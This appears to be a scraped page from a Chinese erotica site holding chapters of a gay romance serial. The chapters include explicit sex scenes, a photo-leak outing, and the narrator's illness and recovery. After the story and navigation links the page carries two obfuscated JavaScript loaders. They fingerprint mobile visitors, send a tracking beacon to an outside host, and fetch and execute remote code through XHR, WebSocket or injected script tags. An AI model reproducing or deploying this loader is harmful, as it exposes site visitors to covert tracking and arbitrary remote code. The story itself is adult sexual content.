“哼,两个男人也配谈爱?你们同性恋呀?”

“同性恋怎么了?两个男人之间就不能有爱?而且欧阳并不爱你。”

“才不是呢,欧阳说他喜欢我,爱我。”

“哦!他对你说过‘我爱你’三个字吗?他只对你说喜欢。”小薇沉默了, 这个痴心、贪心的女人。

“欧阳他从来就没爱过你,只是喜欢。就如同当年我问你这个问题,你的回 答也是喜欢。你的爱只是一相情愿,而且你对欧阳也是爱吗?不见得吧,刚开始 欧阳是个帅气、有钱的王老五,当你知道他的身份后,你牢牢的抓住他,用所谓 得的爱想锁住他,难道你所求的不是金钱?地位?还有虚荣?你那不是爱,你只 爱这些和你自己。不是我夺走了他,而是你一开始就没得到他。”

“是这样吗?不是。你们两个男人,不配谈什么爱。你们有什么爱?只不过 是在寻求刺激罢了。变态!”我们在寻求刺激?不是,我们是爱,真正的爱。

“小薇,听说过狐狸的故事吗?吃不到的永远是酸的。”

“张弘,你给我听好,我不会罢手,我不会放过你的。等着瞧!”

疯了,一个小鸟依人般的女孩怎么会说出那样恶毒的话,郁闷!一个美好的 下午就这样被破坏了。“飞,准备二箱啤酒,做好饭,在家等我。”“弘,怎么 了?谁惹你生气了,乖,我下班后接你。”

不是那样的,我知道我们之间的是真爱,而不仅仅是追求刺激。看着飞在厨 房为所爱的人准备晚餐,心里热热的。不过没想到衣来伸手、饭来张口的三公子 饭做的那么好。

“弘,啤酒没有,我准备了红酒,行吗?” “行”

“尝尝这个,糖醋里嵴。”我张嘴。“不错”

“来,再吃口爆炒腰花。”再张口。“味道好级了”

一桌都是我爱吃的菜,被飞一口一口的喂,就连喝酒都不给我杯子,而是用 嘴给我送。送完了在顺便肆虐一番。手摸向了飞的两腿间,哦!顶着像座小山。

拉开裤链,隔着内裤用手一捏,肉棒强烈的跳动。把他解放出来,粗粗长长 的,肉棒很完美,呈现出深玫瑰红色。第一次看见飞的,真的很漂亮。哼!我就 是寻求刺激,我就是想要刺激。手握着肉棒,轻轻的转着,拧着,飞禁不住呻吟。

“弘,我们…………”

“不,我还没吃饱,我要你喂。”

“好,那你别动好吗?”“好”

不动是假的。一会轻,一会重,飞夹菜的手都在颤抖。张嘴,又是一口酒, 然后是舌头,咬着、吸者,吸者、咬着。衣服一件件没了,肺里的空气也没了。

放开嘴喘息,两人已赤裸相对。

浴室里,互相打浴液,激动的抚摸。第一次看见飞的裸体,不是很壮,但很 匀称。

肌肉不是很块,但充满力量。肉棒赤怒的站着,都快贴着肚皮了。从背后抱 着飞,肉棒被他的臀肌夹着,手在前方忽快忽慢的上下套弄。因为有浴液,所以 很顺滑。

拧、搓、提、捏。飞很快就呻吟不止。小口也流出晶亮的液滴。用水冲干净, 把他的吸到嘴里,很充实的感觉。摆动头部,出来时用舌头包裹,进去时把他深 深的下咽。很快飞的两腿伸直,肌肉紧绷。用手在他的后门一插,飞喷涌而出, 一泻千里。

把我俩冲洗干净,相拥着走进卧室,该我了。用手轻轻的抚摸大腿,然后向 下,在向下。然后是后庭。

“弘,干什么?”

“干你呀!”

“不行!”

“为什么?”

“就是不行!”

“就可以”

在床上翻龙倒凤。不会吧?在下面的怎么是我!“嘿嘿,我可是柔道高手。”

惨,为什么会这样?后面凉凉的,原来飞在涂KY。一点一点的打着转,一 点一点的扩开。

真的很刺激,看影碟里那些做受的,一副很淫荡享受的样子。阿……怎么那 么痛?一股撕裂般的疼痛,不要……不要……

“弘,忍忍就好,真的很痛吗?你是第一次?我会轻点的。”什么嘛?骗人 的,都是骗人的,影碟还有小马。真的很痛,我扭动着,想躲开,但被飞压的更 紧,动作更猛烈,直到飞在我的那个里面喷射。喘息、麻木,我好半天才喘过气。 不行,该我了。再次的翻龙倒凤,再惨。被压在下面怎么还是我?不过这次飞没 有进来,而是用嘴让我达到了高潮。

弘,我爱你…………

飞,我也爱你………………

八、我终于做攻了

告诉了雄哥我找到爱人了,是男的。我不打算瞒他。雄哥没有惊讶,没有鄙 视,还是和以前一样,依旧对我照顾。我问他,我是同性恋,你嫌弃我吗?看不 起我吗?而他只是笑笑说,你是我兄弟。

我不再带团外出,只做地接。就为了每天晚上能和小飞在一起。其实欧阳于 飞比我大二岁,就因为我想叫他小飞,所以就叫他小飞。小飞真的对我很纵容, 除了在床上不让我上他,不让我做攻。慢慢也就习惯了,在一次睡前运动中,小 飞不经意的碰到了一个地方,我就如同触了电,麻麻的、酸酸的,以至于忍不住 的呻吟。小飞抓住了要点,每次用他的肉棒带我进入一波又一波的高潮。原来做 受真的很舒服。但做攻的野心却从没放弃过。

小飞给我申请了护照,只等签证下来就去美国。现在小飞的真实身份在公司 里公开了,小薇成了众多女人的公敌,只是她们不知道,真正的敌人是我。我这 人有个缺点,就是不会做饭,所以每次都是小飞做好了我吃。我这人还有个缺点, 就是特爱收拾房间,以至于小飞说我有洁癖。所以二个人的清洗我全包。每天日 出而做,日落而息,知道每天家里有人给我做饭,等我归家,而我外出时心里有 所记挂,有所思念。就这样过一辈子多好。

农历腊月二十八,签证下来了。我向雄哥请了假,告诉家里过年有团,我要 值班,不能归家。第一次踏上美国的土地,除了满目的蓝眼睛,高鼻子,我并没 有多少的惊奇。饭后牵着小飞的手,流连于公园、商场。没人看你,没人注意你, 整个世界就好像只有我和小飞,在爱的包围中飞翔。

这次美国之行,还有一个重大的惊喜,就是联系上了忧郁。半年多了,我没 忘记他,他也没忘记我,介绍小飞和他认识,并且告诉了我和忧郁认识的经过。

忧郁创建了自己的公司,而且效益不错,只是还没有BF,很高兴他从心里 的黑暗走了出来,那伤就只有慢慢来愈合了。趁着小飞去洗手间,忧郁问我: “张,你爱他吗?”

“我爱他”

“他爱你吗?”

“是,他很爱”

“你们会执手走向永远吗?”

“我……不知道……”

“如果遇到什么事,有什么困难,别忘了我这个朋友。”

除了游览,小飞还有些公事,我不便参加。这天有个酒会,小飞临走时一再 嘱咐:“弘,你一个人行吗?”

“我行的。”

“有什么事给我打电话。”

“好,我记住了。”

“一个人不要走太远,记住旅馆的名字,不要找不到家。”

“好的。”

“我可能回来晚点,你先睡吧,别等我。”

“好,我会的。”

做出了不耐烦的表情,小飞才依依不舍的离开,心里真的好甜,好满足。

去肯德基解决了晚餐,小飞说这是垃圾食品,不让我吃,今天他不在,终于 可以大快朵颐。辣味的鸡腿堡、薯条、圣代,味道和我在西安吃的一样。这远隔 千山万水而味道不变,也是美国快餐连锁的奇迹了。

饭后一个人熘达着慢慢往回走,不时驻足欣赏街边的文化表演。投下一枚硬 币,雕像变换了一个动作,做出快乐的表情。再投下一枚,雕像又充满了无尽的 忧伤。人有时就如同那雕像,对着投币的人变换着心情,而那投入帽子中的是爱。

商店-一间很奇怪的商店,书架上美女漏着大波对你媚笑,柜台上硕大的阳 具昂首挺立,还有墙上挂着的皮鞭……。原来是……。“先生,有什么可帮忙的 吗?”我指了指手铐,一副皮质的手铐。

小飞回来时,我已经睡了一觉了。看他兴奋的表情,今晚一定过的很愉快。

沐浴完躺在床上,兴奋劲还没有过去。原来有些生活,也是我不能给予他的。

亲吻,我淡淡的回应,抚摸,我没反应。“弘,怎么了?不开心?我以后不 去了,在也不把你一个人留家里了。”

“没有,小飞,我没事,只是我困了。”

“嗯,那好吧!我抱你睡。”

嘿嘿,今晚我一定要实现我的梦想。

熟睡的小飞就像一个孩子,放下了白天的铠甲和面具。亲吻,小飞下意识的 做着回应。舌头、下巴、脖子、胸膛,停留在那个突起上,轻轻的咬,再舔、再 吸,小飞发出了呻吟。再一路向下,来到了山丘,旗杆早已竖起,在空中耸立。

避开,舔着腿根,肉球的皱褶不停的变化,越缩越紧,用舌头卷起上面的阴 毛,用牙咬住轻拽。嗯………………

“小飞,你醒了?”

“弘,你在干吗?”

“亲你呀!”

“怎么绑住我?”

“因为我想要你。”

“不要……”把肉球含在嘴里轻拽。

“不要好吗?……”再含着蘑菇头,用牙齿轻刮。

“嗯…………不要吗……”再整个吞进去,上下摆动。

“啊……嗯……我要……”这就对吗!

屈起小飞的双腿,在后面摸上KY。轻轻的揉着,放入一根手指,很顺利。

放入二根,“痛…………”慢慢的进出,旋转,扩张,口手并用。

“嗯……轻点……啊……痛……嗯……快的……还要……”感觉到小飞全身 放松了,菊穴里也放松了,我给肉棒摸上KY,一挺腰,很顺利的全根而入。变 换着角度,小飞那里应该和我一样,也有个控制点吧。抽出、插入、再抽出、再 插入,“嗯…………”

小飞全身一哆嗦,哈哈……找到了。向着目标,全力冲刺,再冲刺……,胜 利是属于我的。

九、受伤,很受伤

什么是乐极生悲?你们经历过吗?我终于知道是什么滋味了。小飞身体健康, 我没病没灾,路上很顺利,假期很完美,一切完美。只有雄哥不美,他美不美跟 我有关系吗?有关系,在他的手上有一打少儿不宜的照片,其中一人的脸被虚化 了,而另一人的脸很清晰,不用说,就是我——张弘。

我想我会哭,但我在笑。我想我会晕倒,但我站的很直。我想我会说不出话, 但有一个声音在响:“雄哥,照片上的我,帅吧!”雄哥被吓坏了,一再问: “阿弘,你没事吧?想哭就哭出来,别吓哥,好吗?”但我不想哭,“雄哥,没 事我出去干活了。”转身,开门,关门。

“张姐,这段时间忙吗?”一脸慌张,看我一眼又忙低下头,“不……不… …不忙。“我的脸上有什么不对吗?我觉得我笑的很帅啊!”

“小黄,你……送过来的是一对卫生球。怎么了?同性恋又怎么了?我又没 伤害谁?我又没碍着谁?我惹谁了?坐在桌子前,拿出一份计划,我看,再看, 继续看…………”

“张弘,你明天的团,这是资料。”谢谢,伸手去接,但计划飞过来,停在 桌子上。我盯着双手,细长的手指,健康的指甲,真是一双完美的手,一点都不 脏。

“谁的车?”“小李”。把计划装入背包,起身,斜跨上包,抬起头,往外 走。

见到我,他们闪身一旁,你说我现在像不像公司的老总?别以为你们的话声 很轻,但今天我的耳朵很灵敏,真的很灵敏。

“弘,今天想吃些什么?要不我们出去吃吧?”

“小飞,今天我很累,上班第一天。明天还有团,今晚我想自己睡。”

“弘,怎么了?你没事吧?”

“没有,我真的是累了,小飞,明天好吗?”

“好吧。”

我知道我的声音很平静,和平时一样。是啊,今天和以前的每一天一样,没 什么变化,真的没变化。放一张碟,阿炳的‘夜沉沉’,真的很好听,很适合我 今天的心情。

“小马?怎么是你?不是小李吗?”

“哦,是这样的,小李今天病了,我替他出车。”

“是这样吗?我明白了。”小马,你在哥面前连撒谎都不会,哈哈,挺好的, 上阵兄弟兵。也只有你和雄哥不嫌弃我了。

“走,出发,上阵了。”

和以往一样,安排住宿,带领游览,再送回宾馆。“小马,今晚早点睡,明 天还要开车。”

“哥,我送你回去。”

“不用了,前面街角停车,哥想走走,”看小马在犹豫。

“哥真的没事,你看哥今天不好好的。”我今天真的很好,我知道我很坚强, 从小父母就说我是个坚强的孩子。看,橱窗里的模特和昨天一样在笑,街角那个 卖气球的老太太还站在那。嘟……嘟……

“雄哥,什么事?”

“阿弘,你在哪?你休二天假吧!明天的团你就不用管了。”

“好”

“旅行团的领队来电话,说…………”

“雄哥,我知道了,我没事。”

我没事,我真的没事。挡辆出租,坐上,“先生,去哪?”

“楼观台”

我真的没事,我很坚强,从上高中我就住校,然后是上大学,工作。我是个 没让父母操心的好孩子。我真的好坚强,坚强到连我自己都不知道。嘟……嘟… …

“弘,你在哪?在家吗?我就回来,别离开。”我知道雄哥会给小飞打电话, 认为救我的人只有小飞了,其实他们错了,救我的人只有我自己。关机,靠在座 位上,怎么有些冷,“司机,没开空调吗?”

“先生,冷吗?我已经开了,我再开大点。”

“谢谢”

我真的很坚强,不是吗?耀眼的灯光和酒醉灯迷在我的身旁飞驰而过,我的 前方为什么却没有光?我要笑,我不哭…………我不哭…………

站在房间的露台上,看着眼前的大山,朦朦胧胧的,是那么远又是那么近。

点燃一根烟,用心的吸者。宾馆里已经悄无声息,漆黑一片,远处道观里传 来隐隐约约的灯光。万物都已沉睡,只有我,这个没有未来的人,真有种万物皆 醉我独醒的意味。

可我真的醒了吗?大脑一片空白,今天发生的事太多了,多到我没有时间思 考,我是同性恋怎么了?我爱小飞怎么了?小飞爱我,我爱小飞,只是小飞是男 的,男的又怎么了?我们又没碍着谁?不对,好像碍着一个人了,会是她吗?不 会吧?看起来她是那么清纯、可人,不会做出那么无耻的事吧!是她,一定是她! 我终于等到她的报复了,只是来的这么突然,来的那么狠。

东方微微发白了,大山的轮廓已渐渐清晰,道观里的晨钟铛……铛……的响 起,随风送来燃香的气味,已是初春,在山里还是很冷,可那也没有我的心冷。

小飞还好吗?雄哥还好吗?这一夜他们可能急坏了吧。

躺在床上,打服务电话,叫他们送热水和药来,我发烧了。小飞,你在哪?

小飞,我想你,小飞,别离开我好吗?小飞,我爱你……

十、心愿

四周很黑,是那种浓的化不开的黑。我迷失、我茫然,哪里是出路?我奔跑, 却没有尽头,我回头,却看不清来路。“妖孽,受死吧!”那声音怎么那么熟?

是小薇,只是声音那么的冰冷。“不,我不是妖孽,我不是。”好累!浑身 酸痛。

“死同性恋,你对得起生你、养你的父母吗?你为什么还活着?去死吧!”

美丽的双瞳怎么如此的狰狞?刺耳的话语在脑子里嗡嗡作响,我跑不动了! 我累了!

“谁来帮帮我呀?我没错!我没错……”

“弘哥,我帮不了你……我帮不了你……”

是小马,声音很无助。“你连自己都帮不了,不是吗?”“阿弘,能帮你的 人就是你自己,振作起来……”

“是雄哥的声音吗?是!是!”

“雄哥,带我离开这里,带我离开……”没有回音,四周是那么的静,我哭 泣……

光!微弱昏黄的光!是小飞。“小飞,带我离开这……”可是小飞面无表情。

“小飞,带我离开,我怕……”小飞在笑,诡异的笑,然后转身离开。“小 飞,别离开我。”一把抓住他的手,死死的抓住。“小飞,我爱你……我现在只 有你了,别离开我,好吗?”我哭,泪水如决堤的河水。小飞挣脱掉我的手,笑 着离开。我抓……却抓不住。“小飞,别离我开……小飞……小飞……”

“弘,我在,我在这。”猛然惊醒,雪白的墙,还要吊杆上的盐水瓶,浓浓 的来苏水味扑鼻而来。我怎么在医院?“弘,你醒了?喝水吗?”点头。是小飞, 满脸是泪的小飞。“我不会走的,我会带你离开,我给你倒水,你先放开我好吗?”

原来一直抓着他的手。我拿不开,手指僵硬。小飞温柔的搓着。“小飞,为 什么我抓不住你?我觉得不安全,我没有肩膀靠。”“有,弘,有我在,你会快 乐,有我在,你不会危险,有我在,就有你永远依靠的肩膀。”看着他发青的手 腕,我的心刺痛。“飞,很痛吧?”我抚摸,我亲吻。“不疼,真的不疼。”

“好了,烧退了,再喝杯水,你流的眼泪够接二杯了。”是吗?我哭了!原 来我没有想像的那么坚强。

“小飞,我怎么在这?”

“哦,服务员看你一上午没出门,不放心进去查看,你已经烧晕了,就送你 到医院。”

“那你怎么知道我在这?”

“是雄哥告诉我的。从昨天晚上开始,雄哥就一家宾馆一家宾馆的打电话, 没想到运气真好,今天中午就找到你了。”是阿,我怎么忘了,各个旅游景点的 宾馆联系电话雄哥那都有,还有好多和我们有业务往来,只要你住宿,就能找到 你。握着小飞的手,靠在他的怀里。

“小飞,我只有你了……别离开我……”

“弘,永远不会。”

“小飞,楼观台你没来过吧!”“没有,只是知道这里是老子讲经的地方。”

“那我带你逛逛,这里我来过7次了。第一次是上小学,我妈妈带我来的, 已经没印象了。上初一我学会了骑单车,第一次远征就是楼观台,很有成就感呢!

那时没有钱,带二个馒头夹咸菜做午餐,没钱买门票,我们顺山绕,结过发 现了一条专用公路,直通山上的雷达站。进说经台,我们还是翻墙进去的呢。“

“好,你带我去,我们还翻墙。”小飞一本正经的建议到。“哈哈……行阿, 只要你还翻得动。”

“小飞,我出院吧!”

“不行,再住二天。”

“真的没事了,只是受凉发烧而已,你请我吃一顿就行。我的房间退了吗?”

“没有,怎么了?”

“嘻嘻……你说呢?”

“不行,等你好了以后。”“那我要做攻,而且不绑你。”“行,只要你愿 意,不过这二天,好好给我休息,别到时候满足不了我。”“你是狼阿?” 你 说这样算不算要挟?

现在这个季节,真的不是游山的好时候。山阳的草地还是一片枯黄,只在根 部有些微绿。山阴的地方却还有未化的积雪。不过小溪中的冰棱已慢慢融化,潺 潺的流着,已有些春的气息了。

不过我极喜欢这样的环境,几乎没有游人,没有平时的喧嚣和嘈杂,安静的


上一篇:【痞子政客】(09-13)【

下一篇:让老师刺激


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};